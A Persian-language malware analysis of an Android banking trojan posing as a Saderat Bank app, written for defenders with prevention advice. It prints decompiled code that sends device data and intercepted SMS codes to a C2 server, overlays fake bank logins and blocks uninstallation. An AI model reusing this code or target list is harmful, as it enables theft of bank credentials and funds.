Trojan.Android.Banker.IR

شرح کلی

نوع: تروجان (Trojan)
درجه تخریب: متوسط
میزان شیوع: متوسط

اسامی بدافزار:

  • (Padvish) Trojan.Android.Banker.IR
  • (Kaspersky) HEUR:Trojan-Banker.AndroidOS.GossRat.a
  • (ESET) A Variant Of Android/Spy.Banker.BZY

تروجان چیست؟

تروجان‌ها نوعی از بدافزارها محسوب می‌شوند که خود را در قالب نرم‌افزاری سالم و قانونی جلوه می‌دهند و بسیار شبیه نرم‌افزارهای مفید و کاربردی رفتار می‌کنند. اما هنگامی ‌که اجرا می‌شوند، خرابی‌های فراوانی را برای سیستم ایجاد می‌کنند. از جمله راه‌های ورود تروجان‌ها به سیستم می‌توان به مواردی از جمله نرم‌افزارهای دانلود شده از اینترنت، جاسازی شدن در متن HTML، ضمیمه شدن به یک ایمیل و … اشاره کرد.

خانواده بدافزاری Banker چیست؟

این خانواده بدافزاری که در پوشش برنامه‌های بانکی، مالی و سایر برنامه‌های قانونی خود را پنهان می‌سازد، به طور ویژه به منظور سرقت اطلاعات بانکی، مالی و حساس دستگاه‌های اندرویدی به کار می‌رود. این نوع از بدافزارها می‌توانند اطلاعات حساسی مانند اطلاعات کارت بانکی، اطلاعات ورود به سیستم بانکی، کدهای OTP، جزییات تراکنش‌ها و غیره را رهگیری کنند.

توضیحات فنی

بدافزار در پوشش برنامه بانکی همراه بانک صادرات در تلفن همراه قربانی نصب شده و پس از اجرا به بهانه خواندن خودکار پیامک‌های بانک و امنیت بیشتر، فعال‌سازی مجوز Accessibility Services را از کاربر درخواست می‌کند. ایراد اساسی استفاده از مجوز Accessibility این است که کاربر را به اعطای این مجوز ملزم می‌کند و پس از اخذ آن، قابلیت‌های زیر را جهت سوء استفاده دریافت می‌کند:

  • سرقت اطلاعات ورود به سیستم بانک
  • سرقت اطلاعات کارت بانکی
  • دسترسی به پیامک های کاربر برای سرقت کدهای OTP

این بدافزار یک تروجان از گونه‌های جدید کمپین بانکی است که مشتریان تعدادی از بانک‌های ایرانی از جمله بانک ملی، صادرات، پاسارگاد، سپه و … را هدف قرار داده است. افزون بر اپلیکیشن‌های بانکی، تعدادی از برنامه‌های کیف پول رمز ارز را نیز تهدید می‌کند.

درخواست مجوزهای دسترسی

علائم آلودگی

  • درخواست فعال‌سازی مجوز Accessibility Services
  • تغییر تنظیمات سیستم بدون اجازه کاربر

شرح عملکرد

 اکتیویتی اصلی com.sadsad.newsdfg.appui.SplashActivity

در این اکتیویتی بدافزار با استفاده از متد زیر به ارسال اطلاعات Android ID (شناسه گوشی)، نسخه سیستم عامل اندروید، نام سازنده گوشی کاربر و نسخه نصب شده بدافزار به همراه لیست برنامه‌های نصب شده موجود در لیست هدف بدافزار (لیستی از برنامه‌های بانکی و کیف پول رمز ارز،‌ مطابق جدول زیر) به آدرس سرور C2 بدافزار
/https[:]//rat-saderat[.]click/rat/gossiper.php” اقدام می‌کند.

public void gossiper(Response.Listener<Message> success, Response.ErrorListener errorListener) {
Type type = new TypeToken<Message>() { // from class: com.sadsad.newsdfg.api.ApiSender.3
}.getType();
HashMap hashMap = new HashMap();
hashMap.put(“android_id”, Util.getAndroidID(this.context));
hashMap.put(“device”, Build.MANUFACTURER + ” | ” + Build.MODEL + ” | ” + Build.VERSION.RELEASE);
hashMap.put(“version”, “8”);
try {
hashMap.put(“extra_data”, new Gson().toJson(Util.getAllApps(this.context)));
} catch (Exception unused) {
}
ApiRequest.instance(this.context).add(new GsonService(1, LINK.GOSSIPER(this.context), hashMap, success, errorListener, type));
}

▪️ Package Nameها و اپلیکیشن‌های بررسی شده توسط بدافزار به شرح جدول زیر می‌باشد:

نام برنامه  Package Name

بام

ir.bmi.bam.nativeweb

همراه بانک ملت

com.pmb.mobile

Sepah MBanking

mob.banking.android.sepah

همراه بانک

com.isc.bsinew

blu

com.samanpr.blu

Pasargad MBanking

mob.banking.android.pasargad

همراه شهر پلاس

com.citydi.hplus

همراه بانک تجارت

ir.tejaratbank.tata.mobile.android.tejarat

MetaMask

io.metamask

Digipay

com.mydigipay.app.android

پارسیان من

com.parsmobapp

Fantom fWallet

network.fantom.fwallet

Resalat MBanking

mob.banking.android.resalat

آپ

com.sibche.aspardproject.app

SafePal

io.safepal.wallet

Nobitex

market.nobitex

همراه نوین

com.farazpardazan.enbank

Trust Wallet

com.wallet.crypto.trustapp

CoinEx

com.coinex.trade.play

Chrome

com.android.chrome

KuCoin

com.kubi.kucoin

موبایل بانک رفاه

com.refahbank.dpi.android

Bitpin

io.bitpin.app

همراه کارت

com.adpdigital.mbs.ayande

Coinbase

com.coinbase.android

TronLink Pro

com.tronlinkpro.wallet

تترلند

land.tether.tetherland

MathWallet

com.mathwallet.android

✅ سرویس com.sadsad.newsdfg.MyAccessibilityService

از اقدام‌های اصلی بدافزار در این سرویس می‌توان به مدیریت رویدادهای accessibility، رصد پیامک‌های دریافتی کاربر، کنترل دسترسی‌ها و رفتار برنامه‌های بانکی مورد نظر بدافزار و مدیریت ویژگی‌های خاص به ویژه در گوشی‌های samsung و xiaomi اشاره کرد.
متد onAccessibilityEvent هنگام دریافت یک رویداد دسترسی فراخوانی می‌شود و نام پکیج برنامه فعال را بررسی کرده و آن را با لیستی از نام پکیج برنامه‌های بانکی (BAM, MELLAT, SEPAH, SADERAT, BLUEBANK, PASARGAD, SHAHR, TEJARAT) مورد نظر بدافزار مقایسه نموده و در صورت تطابق، اکتیویتی مورد نظر با بانک هدف را جهت نمایش به کاربر راه‌اندازی می‌کند.
به طور مثال نام پکیج برنامه بانک ملت “com.pmb.mobile”، در صورتی که در لیست هدف بدافزار باشد و همچنین اگر برنامه بانک ملت باز نشده باشد و بیش از 10 دقیقه از آخرین زمان استفاده گذشته باشد، بدافزار اکتیویتی بانک ملت را (com.sadsad.newsdfg.activity.F_Mellat) راه‌اندازی می‌کند.
در ادامه اگر برند گوشی کاربر “samsung“یا “xiaomi“باشد، در صورت نداشتن مجوز دسترسی به پیام‌های کاربر، بدافزار در متد functionGrantSMSPermission با استفاده از خدمات accessibility مجوز دسترسی به پیامک‌های کاربر را به طور خودکار فعال می‌سازد. همچنین در صورت نداشتن مجوز Draw Over Other Apps (این مجوز به برنامه‌ها اجازه می‌دهد تا محتوای خود را بالاتر و در اولویت بیشتری از برنامه‌های در حال اجرا در پس‌زمینه نمایش دهند) بدافزار در متد functionFindItemDrawOverLay با استفاده از خدمات accessibility اقدام به دریافت این مجوز می‌کند. سپس با استفاده از متد functionAvoidUninstallApp از حذف خود در گوشی کاربر جلوگیری به عمل می‌آورد.

public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
        AccessibilityNodeInfo source = accessibilityEvent.getSource();
        if (source == null || source.getPackageName() == null) {
            return;
        }
        Log.i(“rat_”, “p_>: ” + ((Object) source.getPackageName()));
        if (Arrays.asList(Util.Apps.APPS).contains(((Object) source.getPackageName()) + “”)) {
            String str = ((Object) source.getPackageName()) + “”;
            str.hashCode();
            char c = 65535;
            switch (str.hashCode()) {
                case -2100591472:
                    if (str.equals(Util.Apps.SEPAH)) {
                        c = 0;
                        break;
                    }
                    break;
                case -1922768888:
                    if (str.equals(Util.Apps.BAM)) {
                        c = 1;
                        break;
                    }
                    break;
                case -1535722223:
                    if (str.equals(Util.Apps.SHAHR)) {
                        c = 2;
                        break;
                    }
                    break;
                case -1149263316:
                    if (str.equals(Util.Apps.PASARGAD)) {
                        c = 3;
                        break;
                    }
                    break;
                case -764315848:
                    if (str.equals(Util.Apps.MELLAT)) {
                        c = 4;
                        break;
                    }
                    break;
                case -211716598:
                    if (str.equals(Util.Apps.SADERAT)) {
                        c = 5;
                        break;
                    }
                    break;
                case -99771380:
                    if (str.equals(Util.Apps.TEJARAT)) {
                        c = 6;
                        break;
                    }
                    break;
                case 254313950:
                    if (str.equals(Util.Apps.BLUEBANK)) {
                        c = 7;
                        break;
                    }
                    break;
            }
            switch (c) {
                case 0:
                    if (!ShareStorage.getInstance(this).isAppOpened(Util.Apps.SEPAH) && (System.currentTimeMillis() – ShareStorage.getInstance(this).lastSubmitTimeApp(Util.Apps.SEPAH)) / 1000 >= 600) {
                        ShareStorage.getInstance(this).setAppOpened(Util.Apps.SEPAH, true);
                        Intent intent = new Intent(this, F_SepahBank.class);
                        intent.setFlags(268435456);
                        startActivity(intent);
                        break;
                    }
                    break;
                case 1:
                    if (!ShareStorage.getInstance(this).isAppOpened(Util.Apps.BAM) && (System.currentTimeMillis() – ShareStorage.getInstance(this).lastSubmitTimeApp(Util.Apps.BAM)) / 1000 >= 600) {
                        ShareStorage.getInstance(this).setAppOpened(Util.Apps.BAM, true);
                        Intent intent2 = new Intent(this, F_Bam.class);
                        intent2.setFlags(268435456);
                        startActivity(intent2);
                        break;
                    }
                    break;
                case 2:
                    if (!ShareStorage.getInstance(this).isAppOpened(Util.Apps.SHAHR) && (System.currentTimeMillis() – ShareStorage.getInstance(this).lastSubmitTimeApp(Util.Apps.SHAHR)) / 1000 >= 600) {
                        ShareStorage.getInstance(this).setAppOpened(Util.Apps.SHAHR, true);
                        Intent intent3 = new Intent(this, F_ShahrBank.class);
                        intent3.setFlags(268435456);
                        startActivity(intent3);
                        break;
                    }
                    break;
                case 3:
                    if (!ShareStorage.getInstance(this).isAppOpened(Util.Apps.PASARGAD) && (System.currentTimeMillis() – ShareStorage.getInstance(this).lastSubmitTimeApp(Util.Apps.PASARGAD)) / 1000 >= 600) {
                        ShareStorage.getInstance(this).setAppOpened(Util.Apps.PASARGAD, true);
                        Intent intent4 = new Intent(this, F_Pasargad.class);
                        intent4.setFlags(268435456);
                        startActivity(intent4);
                        break;
                    }
                    break;
                case 4:
                    if (!ShareStorage.getInstance(this).isAppOpened(Util.Apps.MELLAT) && (System.currentTimeMillis() – ShareStorage.getInstance(this).lastSubmitTimeApp(Util.Apps.MELLAT)) / 1000 >= 600) {
                        ShareStorage.getInstance(this).setAppOpened(Util.Apps.MELLAT, true);
                        Intent intent5 = new Intent(this, F_Mellat.class);
                        intent5.setFlags(268435456);
                        startActivity(intent5);
                        break;
                    }
                    break;
                case 5:
                    if (!ShareStorage.getInstance(this).isAppOpened(Util.Apps.SADERAT) && (System.currentTimeMillis() – ShareStorage.getInstance(this).lastSubmitTimeApp(Util.Apps.SADERAT)) / 1000 >= 600) {
                        ShareStorage.getInstance(this).setAppOpened(Util.Apps.SADERAT, true);
                        Intent intent6 = new Intent(this, F_Saderat.class);
                        intent6.setFlags(268435456);
                        startActivity(intent6);
                        break;
                    }
                    break;
                case 6:
                    if (!ShareStorage.getInstance(this).isAppOpened(Util.Apps.TEJARAT) && (System.currentTimeMillis() – ShareStorage.getInstance(this).lastSubmitTimeApp(Util.Apps.TEJARAT)) / 1000 >= 600) {
                        ShareStorage.getInstance(this).setAppOpened(Util.Apps.TEJARAT, true);
                        Intent intent7 = new Intent(this, F_Tejarat.class);
                        intent7.setFlags(268435456);
                        startActivity(intent7);
                        break;
                    }
                    break;
                case 7:
                    if (!ShareStorage.getInstance(this).isAppOpened(Util.Apps.BLUEBANK) && (System.currentTimeMillis() – ShareStorage.getInstance(this).lastSubmitTimeApp(Util.Apps.BLUEBANK)) / 1000 >= 600) {
                        ShareStorage.getInstance(this).setAppOpened(Util.Apps.BLUEBANK, true);
                        Intent intent8 = new Intent(this, F_BlueBank.class);
                        intent8.setFlags(268435456);
                        startActivity(intent8);
                        break;
                    }
                    break;
            }
        }
        if (Build.MANUFACTURER.equalsIgnoreCase(“samsung”)) {
            if (ShareStorage.STATE.STATE_ACCEPT_SMS_PERMISSION.equals(ShareStorage.getInstance(this).getState())) {
                SamsungHandler.functionGrantSMSPermission(source, this, this.allowPermission);
            } else if (ShareStorage.STATE.STATE_TRACK_DRAW_OVER_LAY.equals(ShareStorage.getInstance(this).getState())) {
                SamsungHandler.functionFindItemDrawOverLay(this, source, this.appearOnTop, this.allowPermissionTop);
            }
            if (accessibilityEvent.getEventType() == 2048 && ShareStorage.getInstance(this).isAvoidUninstallApp()) {
                SamsungHandler.functionAvoidUninstallApp(this, source, this.appName, this.appInfo, this.unInstall);
            }
        } else if (Build.MANUFACTURER.equalsIgnoreCase(“xiaomi”)) {
            if (ShareStorage.STATE.STATE_ACCEPT_SMS_PERMISSION.equals(ShareStorage.getInstance(this).getState())) {
                XiaomiHandler.functionGrantSMSPermission(source, this, this.allowXiaomiSMS, this.allowXiaomiSMS2, this.allowXiaomiSMS3);
            } else if (ShareStorage.STATE.STATE_TRACK_DRAW_OVER_LAY.equals(ShareStorage.getInstance(this).getState())) {
                XiaomiHandler.functionFindItemDrawOverLay(this, source, this.advanced, this.displayOverOtherApps, this.allowDisplayOverOtherApps);
            }
            if (accessibilityEvent.getEventType() == 2048 && ShareStorage.getInstance(this).isAvoidUninstallApp()) {
                XiaomiHandler.functionAvoidUninstallApp(this, source, this.appName, this.appInfo, this.unInstall, this.uninstall_xiaomi_1, this.uninstall_xiaomi_2, this.accessibilityMenu, this.downloadedApps, this.downloadedServices);
            }
        }
    }
کلاس SMSBroadCast به عنوان یک receiver پویا در داخل سرویس بدافزار تعریف شده است که به محض دریافت پیامک، متد زیر را فراخوانی می‌کند. در این متد، متن پیام دریافتی به همراه آدرس فرستنده و شناسه گوشی (Android ID) با استفاده از متد sendDataToServer به آدرس سرور بدافزار “https[:]//rat-saderat[.]click/rat/sendData.php” ارسال می‌شود.
public void onReceive(Context context, Intent intent) {
            Bundle extras = intent.getExtras();
            if (extras != null) {
                String str = “”;
                String str2 = “”;
                for (Object obj : (Object[]) extras.get(“pdus”)) {
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) obj);
                    String str3 = createFromPdu.getMessageBody().toString();
                    str = createFromPdu.getOriginatingAddress();
                    str2 = str2 + str3;
                }
                sendDataToServer(context, str, str2, 0);
            }
        }

✅ اکتیویتی com.sadsad.newsdfg.activity.F_Mellat

این اکتیویتی یک شبیه‌سازی از صفحه ورود کاربر به برنامه بانک ملت است. در صورتی که کاربر برنامه همراه بانک ملت را در گوشی نصب کرده باشد، تحت شرایطی بدافزار با نمایش این اکتیویتی به کاربر، اطلاعات بانکی او را سرقت نموده و به سرور C2 بدافزار ارسال می‌کند.
در متد submitLogin اطلاعات وارد شده توسط کاربر شامل شماره همراه، نام کاربری و گذر واژه ورود به برنامه بانک ملت به همراه شناسه گوشی کاربر به آدرس “https[:]//rat-saderat[.]click/rat/sendLoginData.php” ارسال می‌گردد.

اکتیویتی com.sadsad.newsdfg.activity.F_Mellat

تکنیک‌های بدافزار

بدافزار در گوشی‌های برند “samsung” با استفاده از متد functionAvoidUninstallApp مانع از حذف بدافزار از گوشی کاربر شده و بدین ترتیب، زمینه بقای خود را در گوشی کاربر مهیا می‌سازد. بدافزار با استفاده از سرویس accessibility به محض تغییر محتوای پنجره کاربر بررسی می‌کند که آیا نام پکیج برنامه‌ی در حال اجرا شامل یکی از موارد زیر می‌باشد یا خیر و در صورتی که یکی از برنامه‌های زیر در حال اجرا باشد با شبیه‌سازی دکمه بازگشت از این صفحه خارج شده و مانع از ایجاد تغییرات جهت حذف یا متوقف‌سازی بدافزار خواهد شد.

  • “com.samsung.accessibility” (برنامه سیستمی مربوط به سرویس accessibility داخلی گوشی‌های samsung)
  • “com.sec.android.app.launcher” (برنامه سیستمی راه‌انداز پیش فرض برای دستگاه‌های samsung)
  • “com.google.android.packageinstaller” (برنامه سیستمی عهده‌دار وظیفه نصب و حذف سایر برنامه‌ها)
  • “com.android.settings” (برنامه سیستمی مربوط به تنظیمات اولیه برای دستگاه‌های اندرویدی)

عملکرد برنامه در گوشی های شیائومی

بدافزار در گوشی‌های برند “xiaomi” نیز با عملیاتی مشابه مانع از حذف خود از گوشی کاربر می‌شود.

روش مقابله و پاک‌سازی سیستم

برای ایجاد اطمینان از عدم آلودگی دستگاه، آنتی ویروس پادویش را نصب و فایل پایگاه داده آن را به‌ روز نگهدارید و اسکن آنتی ویروس را انجام دهید.

روش‌های پیشگیری از آلوده شدن گوشی:

  • هنگام نصب اپلیکیشن‌های تلفن همراه، به مجوزهای درخواستی آن دقت کنید. اگر برنامه‌ای مجوزهای غیرمرتبط با فعالیت برنامه به ویژه مجوز accessibility service را درخواست کرد، در استفاده از آن حتما احتیاط کنید.
  • تلفن‌ همراه خود را به روز نگه دارید، آن را در حالت ایده‌آل تنظیم کنید تا به صورت خودکار به روز شود.
  • دقت کنید که برنامه‌های مورد نیاز به خصوص برنامه‌های بانکی را از وب‌سایت معتبر بانک یا مارکت‌های معتبر دانلود کنید و از کانال‌های تلگرامی، اینستاگرام و وب‌سایت‌های نامعتبر جهت دانلود استفاده نکنید.
  • توصیه می‌شود روی لینک‌های مشکوک دریافت شده از طریق SMS، کلیک نکنید.